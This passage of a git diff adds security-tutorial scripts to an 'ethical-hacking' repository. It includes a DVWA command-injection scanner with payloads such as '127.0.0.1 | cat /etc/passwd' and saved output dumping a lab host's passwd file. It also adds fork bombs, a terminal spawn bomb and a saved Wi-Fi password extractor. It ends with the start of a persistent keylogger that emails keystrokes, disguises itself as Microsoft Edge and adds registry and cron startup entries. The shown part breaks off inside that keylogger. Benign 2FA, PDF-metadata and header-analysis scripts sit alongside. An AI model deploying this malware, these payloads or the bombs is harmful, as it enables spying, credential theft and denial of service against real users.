form_data = { + "ip": payload, + "submit": "Submit" + } + + try: + response = session.post(vuln_page_url, data=form_data) + print(f"[!] Payload used: {payload}") + print("[+] Response after command injection:\n") + print("=" * 80) + print(response.text) + print("=" * 80) + print("\n[!] Please inspect the response to determine if the parameter is vulnerable to command injection.\n") + + # Write the response to a text file. + with open("response.txt", "w") as f: + f.write(response.text) + print("[+] Response written to response.txt") + except Exception as e: + print(f"[-] Error occurred while testing payload '{payload}': {e}") + + print("[+] Command injection testing completed.\n") + + +# Call the function with the required parameters. +check_command_injection(target_url, login_url, login_data, vuln_page_url) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py b/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py new file mode 100644 index 00000000..5d78469d --- /dev/null +++ b/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py @@ -0,0 +1,75 @@ +# Import the necessary libraries. +import requests +from urllib.parse import urljoin +from colorama import Fore, Style, init + +# Initialise colorama. +init() + + +# Define the target URL and login credentials. +target_url = "http://192.168.134.129/dvwa/" +login_url = urljoin(target_url, "login.php") +login_data = { + "username": "admin", + "password": "password", + "Login": "Login" +} + +# Define the vulnerable page URL. +vuln_page_url = urljoin(target_url, "vulnerabilities/exec/") + +# Define the test payloads. +payloads = [ + "ls | whoami", + "127.0.0.1 | cat /etc/passwd", + "127.0.0.1 | ls -la" +] + +def check_command_injection(base_url, login_url, login_data, vuln_page_url, payloads): + print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}") + + # Authenticate with the application. + session = requests.Session() + response = session.post(login_url, data=login_data) + + if "Login failed" in response.text: + print("[-] Authentication failed. Please check the credentials.") + return + + responses = "" + + for payload in payloads: + # Send the payload through the form. + form_data = { + "ip": payload, + "submit": "Submit" + } + + try: + response = session.post(vuln_page_url, data=form_data) + print(f"{Fore.GREEN}[!] Payload used: {payload}{Style.RESET_ALL}") + print("[+] Response after command injection:\n") + print("=" * 80) + print(response.text) + print("=" * 80) + print(f"\n{Fore.YELLOW}[!] Please manually inspect the response to determine if the parameter is vulnerable to command injection.{Style.RESET_ALL}\n") + + responses += f"[!] Payload used: {payload}\n" + responses += "[+] Response after command injection:\n" + responses += "=" * 80 + "\n" + responses += response.text + responses += "=" * 80 + "\n\n" + except Exception as e: + print(f"{Fore.RED}[-] Error occurred while testing payload '{payload}': {e}{Style.RESET_ALL}") + responses += f"[-] Error occurred while testing payload '{payload}': {e}\n" + + # Write the responses to a text file. + with open("multiple_payload_response.txt", "w") as f: + f.write(responses) + print("[+] Responses written to response.txt") + + print("[+] Command injection testing completed.\n") + +# Call the function with the required parameters. +check_command_injection(target_url, login_url, login_data, vuln_page_url, payloads) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/multiple_payload_response.txt b/ethical-hacking/exploit-command-injection/multiple_payload_response.txt new file mode 100644 index 00000000..c87a195e --- /dev/null +++ b/ethical-hacking/exploit-command-injection/multiple_payload_response.txt @@ -0,0 +1,316 @@ +[!] Payload used: ls | whoami +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
www-data
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + +[!] Payload used: 127.0.0.1 | cat /etc/passwd +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/sh
+backup:x:34:34:backup:/var/backups:/bin/sh
+list:x:38:38:Mailing List Manager:/var/list:/bin/sh
+irc:x:39:39:ircd:/var/run/ircd:/bin/sh
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+libuuid:x:100:101::/var/lib/libuuid:/bin/sh
+dhcp:x:101:102::/nonexistent:/bin/false
+syslog:x:102:103::/home/syslog:/bin/false
+klog:x:103:104::/home/klog:/bin/false
+sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
+msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
+bind:x:105:113::/var/cache/bind:/bin/false
+postfix:x:106:115::/var/spool/postfix:/bin/false
+ftp:x:107:65534::/home/ftp:/bin/false
+postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
+tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
+distccd:x:111:65534::/:/bin/false
+user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
+service:x:1002:1002:,,,:/home/service:/bin/bash
+telnetd:x:112:120::/nonexistent:/bin/false
+proftpd:x:113:65534::/var/run/proftpd:/bin/false
+statd:x:114:65534::/var/lib/nfs:/bin/false
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + +[!] Payload used: 127.0.0.1 | ls -la +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
total 20
+drwxr-xr-x  4 www-data www-data 4096 May 20  2012 .
+drwxr-xr-x 11 www-data www-data 4096 May 20  2012 ..
+drwxr-xr-x  2 www-data www-data 4096 May 20  2012 help
+-rw-r--r--  1 www-data www-data 1509 Mar 16  2010 index.php
+drwxr-xr-x  2 www-data www-data 4096 May 20  2012 source
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + diff --git a/ethical-hacking/exploit-command-injection/requirements.txt b/ethical-hacking/exploit-command-injection/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/exploit-command-injection/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/response.txt b/ethical-hacking/exploit-command-injection/response.txt new file mode 100644 index 00000000..3e46a5db --- /dev/null +++ b/ethical-hacking/exploit-command-injection/response.txt @@ -0,0 +1,123 @@ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/sh
+backup:x:34:34:backup:/var/backups:/bin/sh
+list:x:38:38:Mailing List Manager:/var/list:/bin/sh
+irc:x:39:39:ircd:/var/run/ircd:/bin/sh
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+libuuid:x:100:101::/var/lib/libuuid:/bin/sh
+dhcp:x:101:102::/nonexistent:/bin/false
+syslog:x:102:103::/home/syslog:/bin/false
+klog:x:103:104::/home/klog:/bin/false
+sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
+msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
+bind:x:105:113::/var/cache/bind:/bin/false
+postfix:x:106:115::/var/spool/postfix:/bin/false
+ftp:x:107:65534::/home/ftp:/bin/false
+postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
+tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
+distccd:x:111:65534::/:/bin/false
+user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
+service:x:1002:1002:,,,:/home/service:/bin/bash
+telnetd:x:112:120::/nonexistent:/bin/false
+proftpd:x:113:65534::/var/run/proftpd:/bin/false
+statd:x:114:65534::/var/lib/nfs:/bin/false
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + + \ No newline at end of file diff --git a/ethical-hacking/find-past-wifi-connections-on-windows/README.md b/ethical-hacking/find-past-wifi-connections-on-windows/README.md new file mode 100644 index 00000000..614b160a --- /dev/null +++ b/ethical-hacking/find-past-wifi-connections-on-windows/README.md @@ -0,0 +1 @@ +# [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python) \ No newline at end of file diff --git a/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py b/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py new file mode 100644 index 00000000..c362aa9c --- /dev/null +++ b/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py @@ -0,0 +1,39 @@ +import winreg # Import registry module. + +def val2addr(val): # Convert value to address format. + addr = '' # Initialize address. + try: + for ch in val: # Loop through value characters. + addr += '%02x ' % ch # Convert each character to hexadecimal. + addr = addr.strip(' ').replace(' ', ':')[0:17] # Format address. + except: + return "N/A" # Return N/A if error occurs. + return addr # Return formatted address. + + +def printNets(): # Print network information. + net = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged" # Registry key for network info. + key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, net) # Open registry key. + print('\n[*] Networks You have Joined:') # Print header. + for i in range(100): # Loop through possible network keys. + try: + guid = winreg.EnumKey(key, i) # Get network key. + netKey = winreg.OpenKey(key, guid) # Open network key. + try: + n, addr, t = winreg.EnumValue(netKey, 5) # Get MAC address. + n, name, t = winreg.EnumValue(netKey, 4) # Get network name. + if addr: + macAddr = val2addr(addr) # Convert MAC address. + else: + macAddr = 'N/A' + netName = str(name) # Convert network name to string. + print(f'[+] {netName} ----> {macAddr}') # Print network info. + except WindowsError: # Handle errors. + pass # Continue loop. + winreg.CloseKey(netKey) # Close network key. + except WindowsError: # Handle errors. + break # Exit loop. + winreg.CloseKey(key) # Close registry key. + + +printNets() # Call printNets function. diff --git a/ethical-hacking/fork-bomb/README.md b/ethical-hacking/fork-bomb/README.md new file mode 100644 index 00000000..be4ecf37 --- /dev/null +++ b/ethical-hacking/fork-bomb/README.md @@ -0,0 +1 @@ +# [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python) \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/fork_bomb.py b/ethical-hacking/fork-bomb/fork_bomb.py new file mode 100644 index 00000000..672e7ed1 --- /dev/null +++ b/ethical-hacking/fork-bomb/fork_bomb.py @@ -0,0 +1,45 @@ +"""Using `multiprocessing` module to spawn processes as a cross-platform fork bomb.""" +# Import necessary modules. +from multiprocessing import Process, cpu_count +import time + +# Define a function named counter that takes a number parameter. +def counter(number): + # Run a loop until number reaches 0. + while number > 0: + number -= 1 + # Introduce a sleep of 100 ms to intentionally slow down the loop. + time.sleep(0.1) # Adjust sleep time as needed to make it slower. + + +def spawn_processes(num_processes): + # Create a list of Process instances, each targeting the counter function. + processes = [Process(target=counter, args=(1000,)) for _ in range(num_processes)] + # Start each process. + for process in processes: + process.start() + print(f"Started process {process.pid}.") + # Wait for each process to finish before moving on. + for process in processes: + process.join() + print(f"Process {process.pid} has finished.") + +# Define the main function. +def main(): + # Get the number of logical processors on the system. + num_processors = cpu_count() + # Create a large number of processes (num_processors * 200). + num_processes = num_processors * 200 # Adjust the number of processes to spawn as needed. + print(f"Number of logical processors: {num_processors}") + print(f"Creating {num_processes} processes.") + print("Warning: This will consume a lot of system resources, and potentially freeze your PC, make sure to adjust the number of processes and sleep seconds as needed.") + # Run an infinite loop if you want. + # while True: + # spawn_processes(num_processes) + # For demonstration purposes, run the function once and monitor the task manager. + spawn_processes(num_processes) + + +# Execute the main function. +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/fork_bomb_simplest.py b/ethical-hacking/fork-bomb/fork_bomb_simplest.py new file mode 100644 index 00000000..69abe8b8 --- /dev/null +++ b/ethical-hacking/fork-bomb/fork_bomb_simplest.py @@ -0,0 +1,9 @@ +"""Simplest form of a fork bomb. It creates a new process in an infinite loop using os.fork(). +It only works on Unix-based systems, and it will consume all system resources, potentially freezing the system. +Be careful when running this code.""" +import os +# import time + +while True: + os.fork() + # time.sleep(0.5) \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/terminal_spawn_bomb.py b/ethical-hacking/fork-bomb/terminal_spawn_bomb.py new file mode 100644 index 00000000..8f03e615 --- /dev/null +++ b/ethical-hacking/fork-bomb/terminal_spawn_bomb.py @@ -0,0 +1,38 @@ +"""A terminal spawn bomb that infinitely opens a new terminal window on the host system. +Be careful when running this script, as it overwhelms the system with terminal windows. +The time.sleep() is introduced to test the script.""" +import os +import subprocess +import time + +# List of common terminal emulators +terminal_emulators = [ + "gnome-terminal", # GNOME + "konsole", # KDE + "xfce4-terminal", # XFCE + "lxterminal", # LXDE + "mate-terminal", # MATE + "terminator", + "xterm", + "urxvt" +] + +def open_terminal(): + for emulator in terminal_emulators: + try: + if subprocess.call(["which", emulator], stdout=subprocess.DEVNULL) == 0: + os.system(f"{emulator} &") + return True + except Exception as e: + continue + print("No known terminal emulator found!") + return False + +while True: + if os.name == "nt": + os.system("start cmd") + else: + if not open_terminal(): + break # Break the loop if no terminal emulator is found + # Introduce a sleep of 500 ms to intentionally slow down the loop so you can stop the script. + time.sleep(0.5) # Adjust sleep time as needed to make it slower. diff --git a/ethical-hacking/get-wifi-passwords/README.md b/ethical-hacking/get-wifi-passwords/README.md index e24eda7f..a10efc10 100644 --- a/ethical-hacking/get-wifi-passwords/README.md +++ b/ethical-hacking/get-wifi-passwords/README.md @@ -1 +1,3 @@ -# [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python) \ No newline at end of file +# [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python) + +This program lists saved Wi-Fi networks and their passwords on Windows and Linux machines. In addition to the SSID (Wi-Fi network name) and passwords, the output also shows the network’s security type and ciphers. \ No newline at end of file diff --git a/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py index 0afd70ca..ff32f6f8 100644 --- a/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py +++ b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py @@ -28,10 +28,16 @@ def get_windows_saved_wifi_passwords(verbose=1): [list]: list of extracted profiles, a profile has the fields ["ssid", "ciphers", "key"] """ ssids = get_windows_saved_ssids() - Profile = namedtuple("Profile", ["ssid", "ciphers", "key"]) + Profile = namedtuple("Profile", ["ssid", "security", "ciphers", "key"]) profiles = [] for ssid in ssids: ssid_details = subprocess.check_output(f"""netsh wlan show profile "{ssid}" key=clear""").decode() + + #get the security type + security = re.findall(r"Authentication\s(.*)", ssid_details) + # clear spaces and colon + security = "/".join(dict.fromkeys(c.strip().strip(":").strip() for c in security)) + # get the ciphers ciphers = re.findall(r"Cipher\s(.*)", ssid_details) # clear spaces and colon @@ -43,7 +49,7 @@ def get_windows_saved_wifi_passwords(verbose=1): key = key[0].strip().strip(":").strip() except IndexError: key = "None" - profile = Profile(ssid=ssid, ciphers=ciphers, key=key) + profile = Profile(ssid=ssid, security=security, ciphers=ciphers, key=key) if verbose >= 1: print_windows_profile(profile) profiles.append(profile) @@ -52,12 +58,13 @@ def get_windows_saved_wifi_passwords(verbose=1): def print_windows_profile(profile): """Prints a single profile on Windows""" - print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}") + #print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}") + print(f"{profile.ssid:25}{profile.security:30}{profile.ciphers:35}{profile.key:50}") def print_windows_profiles(verbose): """Prints all extracted SSIDs along with Key on Windows""" - print("SSID CIPHER(S) KEY") + print("SSID Securities CIPHER(S) KEY") print("-"*50) get_windows_saved_wifi_passwords(verbose) diff --git a/ethical-hacking/http-security-headers/README.md b/ethical-hacking/http-security-headers/README.md new file mode 100644 index 00000000..e0e7b1d0 --- /dev/null +++ b/ethical-hacking/http-security-headers/README.md @@ -0,0 +1,2 @@ +Grab your API key from Open Router:- https://openrouter.ai/ +Model is Used is DeepSeek: DeepSeek V3.1 (free). However, feel free to try others. \ No newline at end of file diff --git a/ethical-hacking/http-security-headers/http_security_headers.py b/ethical-hacking/http-security-headers/http_security_headers.py new file mode 100644 index 00000000..67b494c4 --- /dev/null +++ b/ethical-hacking/http-security-headers/http_security_headers.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +import requests +import json +import os +import argparse +from typing import Dict, List, Tuple +from openai import OpenAI + +class SecurityHeadersAnalyzer: + def __init__(self, api_key: str = None, base_url: str = None, model: str = None): + self.api_key = api_key or os.getenv('OPENROUTER_API_KEY') or os.getenv('OPENAI_API_KEY') + self.base_url = base_url or os.getenv('OPENROUTER_BASE_URL', 'https://openrouter.ai/api/v1') + self.model = model or os.getenv('LLM_MODEL', 'deepseek/deepseek-chat-v3.1:free') + + if not self.api_key: + raise ValueError("API key is required. Set OPENROUTER_API_KEY or provide --api-key") + + self.client = OpenAI(base_url=self.base_url, api_key=self.api_key) + + def fetch_headers(self, url: str, timeout: int = 10) -> Tuple[Dict[str, str], int]: + """Fetch HTTP headers from URL""" + if not url.startswith(('http://', 'https://')): + url = 'https://' + url + + try: + response = requests.get(url, timeout=timeout, allow_redirects=True) + return dict(response.headers), response.status_code + except requests.exceptions.RequestException as e: + print(f"Error fetching {url}: {e}") + return {}, 0 + + def analyze_headers(self, url: str, headers: Dict[str, str], status_code: int) -> str: + """Analyze headers using LLM""" + prompt = f"""Analyze the HTTP security headers for {url} (Status: {status_code}) + +Headers: +{json.dumps(headers, indent=2)} + +Provide a comprehensive security analysis including: +1. Security score (0-100) and overall assessment +2. Critical security issues that need immediate attention +3. Missing important security headers +4. Analysis of existing security headers and their effectiveness +5. Specific recommendations for improvement +6. Potential security risks based on current configuration + +Focus on practical, actionable advice following current web security best practices. Please do not include ** and # +in the response except for specific references where necessary. use numbers, romans, alphabets instead Format the response well please. """ + + try: + completion = self.client.chat.completions.create( + model=self.model, + messages=[{"role": "user", "content": prompt}], + temperature=0.2 + ) + return completion.choices[0].message.content + except Exception as e: + return f"Analysis failed: {e}" + + def analyze_url(https://github.com/self,%20url:%20str,%20timeout:%20int%20=%2010) -> Dict: + """Analyze a single URL""" + print(f"\nAnalyzing: {url}") + print("-" * 50) + + headers, status_code = self.fetch_headers(url, timeout) + if not headers: + return {"url": url, "error": "Failed to fetch headers"} + + print(f"Status Code: {status_code}") + print(f"\nHTTP Headers ({len(headers)} found):") + print("-" * 30) + for key, value in headers.items(): + print(f"{key}: {value}") + + print(f"\nAnalyzing with AI...") + analysis = self.analyze_headers(url, headers, status_code) + + print("\nSECURITY ANALYSIS") + print("=" * 50) + print(analysis) + + return { + "url": url, + "status_code": status_code, + "headers_count": len(headers), + "analysis": analysis, + "raw_headers": headers + } + + def analyze_multiple_urls(self, urls: List[str], timeout: int = 10) -> List[Dict]: + """Analyze multiple URLs""" + results = [] + for i, url in enumerate(urls, 1): + print(f"\n[{i}/{len(urls)}]") + result = self.analyze_url(https://github.com/url,%20timeout) + results.append(result) + return results + + def export_results(self, results: List[Dict], filename: str): + """Export results to JSON""" + with open(filename, 'w') as f: + json.dump(results, f, indent=2, ensure_ascii=False) + print(f"\nResults exported to: {filename}") + +def main(): + parser = argparse.ArgumentParser( + description='Analyze HTTP security headers using AI', + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog='''Examples: + python security_headers.py https://example.com + python security_headers.py example.com google.com + python security_headers.py example.com --export results.json + +Environment Variables: + OPENROUTER_API_KEY - API key for OpenRouter + OPENAI_API_KEY - API key for OpenAI + LLM_MODEL - Model to use (default: deepseek/deepseek-chat-v3.1:free)''' + ) + + parser.add_argument('urls', nargs='+', help='URLs to analyze') + parser.add_argument('--api-key', help='API key for LLM service') + parser.add_argument('--base-url', help='Base URL for LLM API') + parser.add_argument('--model', help='LLM model to use') + parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10s)') + parser.add_argument('--export', help='Export results to JSON file') + + args = parser.parse_args() + + try: + analyzer = SecurityHeadersAnalyzer( + api_key=args.api_key, + base_url=args.base_url, + model=args.model + ) + + results = analyzer.analyze_multiple_urls(args.urls, args.timeout) + + if args.export: + analyzer.export_results(results, args.export) + + except ValueError as e: + print(f"Error: {e}") + return 1 + except KeyboardInterrupt: + print("\nAnalysis interrupted by user") + return 1 + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/ethical-hacking/http-security-headers/requirements.txt b/ethical-hacking/http-security-headers/requirements.txt new file mode 100644 index 00000000..f0dd0aec --- /dev/null +++ b/ethical-hacking/http-security-headers/requirements.txt @@ -0,0 +1 @@ +openai \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/README.md b/ethical-hacking/implement-2fa/README.md new file mode 100644 index 00000000..8bbdbaec --- /dev/null +++ b/ethical-hacking/implement-2fa/README.md @@ -0,0 +1 @@ +# [How to Implement 2FA in Python](https://thepythoncode.com/article/implement-2fa-in-python) \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/hotp.py b/ethical-hacking/implement-2fa/hotp.py new file mode 100644 index 00000000..78cd60bd --- /dev/null +++ b/ethical-hacking/implement-2fa/hotp.py @@ -0,0 +1,19 @@ +import pyotp + +# Set the key. A variable this time +key = 'Muhammad' +# Make a HMAC-based OTP +hotp = pyotp.HOTP(key) + +# Print results +print(hotp.at(0)) +print(hotp.at(1)) +print(hotp.at(2)) +print(hotp.at(3)) + +# Set counter +counter = 0 +for otp in range(4): + print(hotp.verify(input("Enter Code: "), counter)) + counter += 1 + diff --git a/ethical-hacking/implement-2fa/otp_qrcode_and_key.py b/ethical-hacking/implement-2fa/otp_qrcode_and_key.py new file mode 100644 index 00000000..f98c35f2 --- /dev/null +++ b/ethical-hacking/implement-2fa/otp_qrcode_and_key.py @@ -0,0 +1,27 @@ +# Program 1: Generate and Save TOTP Key and QR Code +import pyotp +import qrcode + + +def generate_otp_key(): + # Generate a random key for TOTP authentication. + return pyotp.random_base32() + + +def generate_qr_code(key, account_name, issuer_name): + # Generate a QR code for TOTP authentication. + uri = pyotp.totp.TOTP(key).provisioning_uri(name=account_name, issuer_name=issuer_name) + img = qrcode.make(uri) + img.save('totp_qr.png') + print("QR Code generated and saved as 'totp_qr.png'.") + + +# Main code. +# Generate user key. +user_key = generate_otp_key() +print("Your Two-Factor Authentication Key:", user_key) +# Save key to a file for reference purposes +with open('2fa.txt', 'w') as f: + f.write(user_key) +# Generate QR Code. +generate_qr_code(user_key, 'Muhammad', 'CodingFleet.com') diff --git a/ethical-hacking/implement-2fa/otp_verification.py b/ethical-hacking/implement-2fa/otp_verification.py new file mode 100644 index 00000000..03c1b51c --- /dev/null +++ b/ethical-hacking/implement-2fa/otp_verification.py @@ -0,0 +1,19 @@ +# Program 2: Verify TOTP Code with Google Authenticator +import pyotp + + +def simulate_authentication(key): + # Simulate the process of authenticating with a TOTP code. + totp = pyotp.TOTP(key) + print("Enter the code from your Google Authenticator app to complete authentication.") + user_input = input("Enter Code: ") + if totp.verify(user_input): + print("Authentication successful!") + else: + print("Authentication failed. Please try again with the right key.") + + +# Main Code +# The key should be the same one generated and used to create the QR code in Program 1 +user_key = open("2fa.txt").read() # Reading the key from the file generated in Program 1 (otp_qrcode_and_key.py) +simulate_authentication(user_key) diff --git a/ethical-hacking/implement-2fa/requirements.txt b/ethical-hacking/implement-2fa/requirements.txt new file mode 100644 index 00000000..3026cbce --- /dev/null +++ b/ethical-hacking/implement-2fa/requirements.txt @@ -0,0 +1,2 @@ +pyotp +qrcode \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/totp.py b/ethical-hacking/implement-2fa/totp.py new file mode 100644 index 00000000..f67304db --- /dev/null +++ b/ethical-hacking/implement-2fa/totp.py @@ -0,0 +1,14 @@ +import pyotp + +# Generate a random key. You can also set to a variable e.g key = "CodingFleet" +key = pyotp.random_base32() +# Make Time based OTPs from the key. +totp = pyotp.TOTP(key) + +# Print current key. +print(totp.now()) + +# Enter OTP for verification +input_code = input("Enter your OTP:") +# Verify OTP +print(totp.verify(input_code)) \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/README.md b/ethical-hacking/pdf-metadata-remover/README.md new file mode 100644 index 00000000..2eba5916 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/README.md @@ -0,0 +1 @@ +# [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python) \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py b/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py new file mode 100644 index 00000000..dd801d59 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py @@ -0,0 +1,33 @@ +import PyPDF2 + +def remove_metadata(pdf_file): + # Open the PDF file. + with open(pdf_file, 'rb') as file: + reader = PyPDF2.PdfReader(file) + + # Check if metadata exists. + if reader.metadata is not None: + print("Metadata found in the PDF file.") + + # Create a new PDF file without metadata. + writer = PyPDF2.PdfWriter() + + # Copy pages from the original PDF to the new PDF. + for page_num in range(len(reader.pages)): + page = reader.pages[page_num] + writer.add_page(page) + + # Open a new file to write the PDF without metadata. + new_pdf_file = f"{pdf_file.split('.')[0]}_no_metadata.pdf" + with open(new_pdf_file, 'wb') as output_file: + writer.write(output_file) + + print(f"PDF file without metadata saved as '{new_pdf_file}'.") + else: + print("No metadata found in the PDF file.") + +# Specify the path to your PDF file. +pdf_file_path = "EEE415PQ.pdf" + +# Call the function to remove metadata. +remove_metadata(pdf_file_path) \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/requirements.txt b/ethical-hacking/pdf-metadata-remover/requirements.txt new file mode 100644 index 00000000..77e8be78 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/requirements.txt @@ -0,0 +1 @@ +PyPDF2==3.0.1 \ No newline at end of file diff --git a/ethical-hacking/persistent-malware/README.md b/ethical-hacking/persistent-malware/README.md new file mode 100644 index 00000000..8df17579 --- /dev/null +++ b/ethical-hacking/persistent-malware/README.md @@ -0,0 +1 @@ +# [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python) \ No newline at end of file diff --git a/ethical-hacking/persistent-malware/keylogger_persistent.py b/ethical-hacking/persistent-malware/keylogger_persistent.py new file mode 100644 index 00000000..1ec8c2f4 --- /dev/null +++ b/ethical-hacking/persistent-malware/keylogger_persistent.py @@ -0,0 +1,137 @@ +import keyboard # for keylogs +import smtplib # for sending email using SMTP protocol (gmail) +from threading import Timer +from datetime import datetime +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText +import os, shutil, subprocess, platform, sys +from sys import executable + +SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on +EMAIL_ADDRESS = "email@provider.tld" +EMAIL_PASSWORD = "password_here" + +def setup_persistence(): + """This function sets up persistence (runs automatically at startup) of this executable. + On Linux, it uses crontab to create a cron job that runs this script at reboot. + On Windows, it uses the Windows Registry to add a key that runs this script at startup. + Note that this will only work if the script is bundled as an executable using PyInstaller on Windows. + On Linux, it will work with the script itself or the executable.""" + os_type = platform.system() + if os_type == "Windows": + location = os.environ['appdata'] + "\\MicrosoftEdgeLauncher.exe" # Disguise the keylogger as Microsoft Edge + if not os.path.exists(location): + shutil.copyfile(executable, location) + subprocess.call(f'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdge /t REG_SZ /d "{location}" ', shell=True) + elif os_type == "Linux": + location = os.path.expanduser('~') + "/.config/KaliStartup" + if not os.path.exists(location): + # Create the autostart directory if it doesn't exist + os.makedirs(location) + filename = os.path.join(location, "KaliStartup") + # Copy the keylogger to that new location + 